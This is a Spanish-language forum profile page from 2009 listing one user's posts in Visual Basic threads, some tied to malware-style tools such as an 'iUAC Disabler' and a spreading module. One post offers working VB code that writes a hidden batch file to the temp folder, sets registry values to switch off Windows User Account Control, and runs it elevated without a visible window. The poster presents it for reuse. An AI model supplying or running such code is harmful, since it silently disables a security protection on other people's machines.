Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Tengu

#11
Programación Visual Basic / Re: iUAC Disabler
22 Agosto 2009, 18:39 PM
mira, no me gusta la ironia amigo.
No nombre ese Foro porque era como hacerle spam dentro del hacker.net, espero sepan disculpar los mods, pero creo que ahora si es necesario para aclarar la situacion.
y en cuanto al autor como realmente no estoy seguro de quien es.. prefiero no decir nada.

el foro es :

https://security-shell.ws/showthread.php?t=23892


Espero no te enojes por mi respuesta, es que no quiero que me tomen por plagiador ni nada.








#12
aparente mente segun dice el code es un tal Philip Arvidsson
#13
Programación Visual Basic / Re: iUAC Disabler
22 Agosto 2009, 17:48 PM
a ver si les sirve esto...



Código (vb) [Seleccionar]





Option Explicit

Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByVal lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long

Private Declare Function WriteFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As Any, _
ByVal nNumberOfBytesToWrite As Long, _
lpNumberOfBytesWritten As Long, _
ByVal lpOverlapped As Long) As Long

Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long

Const OPEN_ALWAYS = 4
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_WRITE = &H2

Const FILE_ATTRIBUTE_NORMAL = &H80

Private Declare Function ShellExecuteEx Lib "shell32.dll" ( _
ByRef lpExecInfo As SHELLEXECUTEINFOA) As Long

Private Type SHELLEXECUTEINFOA
   cbSize                  As Long
   fMask                   As Long
   hwnd                    As Long
   lpVerb                  As String
   lpFile                  As String
   lpParameters            As String
   lpDirectory             As String
   nShow                   As Long
   hInstApp                As Long
   lpIDList                As Long
   lpClass                 As String
   hkeyClass               As Long
   dwHotKey                As Long
   hIcon                   As Long
   hProcess                As Long
End Type

Const SW_NORMAL = 1
Const SW_HIDE = 0

Private Sub Form_Load()
On Error Resume Next
   Dim strPath     As String
   Dim strBatCode  As String

   strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _
                "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f"


   Write2File Environ$("TEMP") & "\temp.bat", strBatCode
   strPath = Environ$("TEMP") & "\temp.bat"


   If Elevate(strPath) Then
       MsgBox "! Elevación de Privilegios Exitosa ¡ A : " & vbCrLf & _
       strPath, vbInformation, "ShellExecuteEx RUNAS Verb" ' si lo usan quiten estos mensajes solo los coloque para probar la función
   Else
       MsgBox "No se pudo elevar privilegios A : " & vbCrLf & _
       strPath, vbInformation, "ShellExecuteEx RUNAS Verb"
   End If

   End

End Sub
Private Function Elevate(strPath As String) As Boolean


   Dim ExInfo      As SHELLEXECUTEINFOA
   Dim lnRet       As Long

   With ExInfo
       .cbSize = Len(ExInfo)
       .fMask = 0&
       .hwnd = hwnd
       .lpVerb = "runas"
       .lpFile = strPath
       .lpParameters = vbNullChar
       .lpDirectory = vbNullChar
       .nShow = SW_HIDE
   End With

   On Error Resume Next

   lnRet = ShellExecuteEx(ExInfo)

   If lnRet <> 1 Then
       Elevate = False
       Exit Function
   End If

   Elevate = True

End Function
Private Sub Write2File(Filename As String, Buffer As String)
   On Error Resume Next
   Dim hFile       As Long
   Dim hWrite      As Long

   hFile = CreateFile(Filename, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
   If hFile <> 0 Then
       hWrite = WriteFile(hFile, Buffer, Len(Buffer), 0, 0)
   End If
   CloseHandle (hFile)
End Sub




Es un code que encontrer en un foro
#15
si es que tienes un formulario sin bordes por algun skin que quieras aplicar deberias colocar una imagen de dicha X en el borde superior derecho y el siguiente code:

Código (vb) [Seleccionar]


Private Sub ImageX_Click()
Unload Me
End Sub

#16
y utilizndo sendmessage  no se podra?
#17
este es un code interesante y divertido que enontre navegando.
pertenece segun dice la firma a Philip Arvidsson    
y se trata de una divertida forma de derretir la pantalla.

Tal vez a alguien le sea util como joke.



DESCARGA
#18
Programación Visual Basic / Re: iSpread Module
16 Agosto 2009, 02:01 AM
voy a checarlo.

aunque deberias ver lo del nombre xk anda otro code por hay que es Ispread bot worm el cual posee caracteristicas parecidas a este modulo
#19
jjaaj ok, yo tampoco lo uso. pero es una aplicacion en la que puedo hacer uso de la fama de dicha web para lograr mi objetivo.



PD: (Conocimiento universal: hasta la misma nada tiene su  utilidad)  ;)
      ;-) ;-)(lo que hace a una vasija , algo util, es simplemente la nada que esta en su interior) ;-) ;-) ;-) ;-)
#20
la verdad es que nose si ira aca este tema, pero trabajo en una aplicacion que necesita firmar en fotolog.


y buscando una forma simple de hacerlo me pregunto. seria posible pasar la firma por medio de el metodo POST de la siguiente manera:

destino.php?variable1=valor1&variable2=valor2&...


en el caso de serlo, alguna orientacion ?